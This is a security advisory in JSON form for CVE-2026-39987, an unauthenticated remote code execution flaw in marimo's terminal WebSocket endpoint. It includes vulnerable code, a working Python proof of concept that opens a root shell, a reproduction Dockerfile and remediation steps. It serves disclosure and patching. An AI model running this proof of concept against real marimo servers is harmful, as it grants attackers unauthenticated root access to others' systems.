CVE-2026-39987: Marimo Authentication Bypass Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2679-6mx9-h9xc",
  "modified" : "2026-04-27T16:30:09Z",
  "published" : "2026-04-08T21:50:58Z",
  "aliases" : [ "CVE-2026-39987" ],
  "summary" : "Marimo: Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass",
  "details" : "## Summary\n\nMarimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint `/terminal/ws` lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.\n\nUnlike other WebSocket endpoints (e.g., `/ws`) that correctly call `validate_auth()` for authentication, the `/terminal/ws` endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.\n\n## Affected Versions\n\nMarimo <= 0.20.4 \n\n## Vulnerability Details\n\n### Root Cause: Terminal WebSocket Missing Authentication\n\n`marimo/_server/api/endpoints/terminal.py` lines 340-356:\n\n```python\n@router.websocket(\"/ws\")\nasync def websocket_endpoint(websocket: WebSocket) -> None:\n    app_state = AppState(websocket)\n    if app_state.mode != SessionMode.EDIT:\n        await websocket.close(...)\n        return\n    if not supports_terminal():\n        await websocket.close(...)\n        return\n    # No authentication check!\n    await websocket.accept()  # Accepts connection directly\n    # ...\n    child_pid, fd = pty.fork()  # Creates PTY shell\n```\n\nCompare with the correctly implemented `/ws` endpoint (`ws_endpoint.py` lines 67-82):\n\n```python\n@router.websocket(\"/ws\")\nasync def websocket_endpoint(websocket: WebSocket) -> None:\n    app_state = AppState(websocket)\n    validator = WebSocketConnectionValidator(websocket, app_state)\n    if not await validator.validate_auth():  # Correct auth check\n        return\n```\n\n### Authentication Middleware Limitation\n\nMarimo uses Starlette's `AuthenticationMiddleware`, which marks failed auth connections as `UnauthenticatedUser` but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level `@requires()` decorators or `validate_auth()` calls.\n\nThe `/terminal/ws` endpoint has neither a `@requires(\"edit\")` decorator nor a `validate_auth()` call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.\n\n### Attack Chain\n\n1. WebSocket connect to `ws://TARGET:2718/terminal/ws` (no auth needed)\n2. `websocket.accept()` accepts the connection directly\n3. `pty.fork()` creates a PTY child process\n4. Full interactive shell with arbitrary command execution\n5. Commands run as root in default Docker deployments\n\nA single WebSocket connection yields a complete interactive shell.\n\n## Proof of Concept\n\n```python\nimport websocket\nimport time\n\n# Connect without any authentication\nws = websocket.WebSocket()\nws.connect('ws://TARGET:2718/terminal/ws')\ntime.sleep(2)\n\n# Drain initial output\ntry:\n    while True:\n        ws.settimeout(1)\n        ws.recv()\nexcept:\n    pass\n\n# Execute arbitrary command\nws.settimeout(10)\nws.send('id\\n')\ntime.sleep(2)\nprint(ws.recv())  # uid=0(root) gid=0(root) groups=0(root)\nws.close()\n```\n\n### Reproduction Environment\n\n```dockerfile\nFROM python:3.12-slim\nRUN pip install --no-cache-dir marimo==0.20.4\nRUN mkdir -p /app/notebooks\nRUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py\nWORKDIR /app/notebooks\nEXPOSE 2718\nCMD [\"marimo\", \"edit\", \"--host\", \"0.0.0.0\", \"--port\", \"2718\", \".\"]\n```\n\n### Reproduction Result\n\nWith auth enabled (server generates random `access_token`), the exploit bypasses authentication entirely:\n\n```\n$ python3 exp.py http://127.0.0.1:2718 exec \"id && whoami && hostname\"\n[+] No auth needed! Terminal WebSocket connected\n[+] Output:\nuid=0(root) gid=0(root) groups=0(root)\nroot\nddfc452129c3\n```\n\n## Suggested Remediation\n\n1. Add authentication validation to `/terminal/ws` endpoint, consistent with `/ws` using `WebSocketConnectionValidator.validate_auth()`\n2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints\n3. Terminal functionality should only be available when explicitly enabled, not on by default\n\n## Impact\n\nAn unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "marimo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.23.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39987"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/marimo-team/marimo/pull/9098"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/marimo-team/marimo"
  }, {
    "type" : "WEB",
    "url" : "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-39987"
  }, {
    "type" : "WEB",
    "url" : "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-39987"
  }, {
    "type" : "WEB",
    "url" : "https://www.sysdig.com/blog/marimo-oss-python-notebook-rce-from-disclosure-to-exploitation-in-under-10-hours"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-08T21:50:58Z",
    "nvd_published_at" : "2026-04-09T18:17:02Z"
  }
}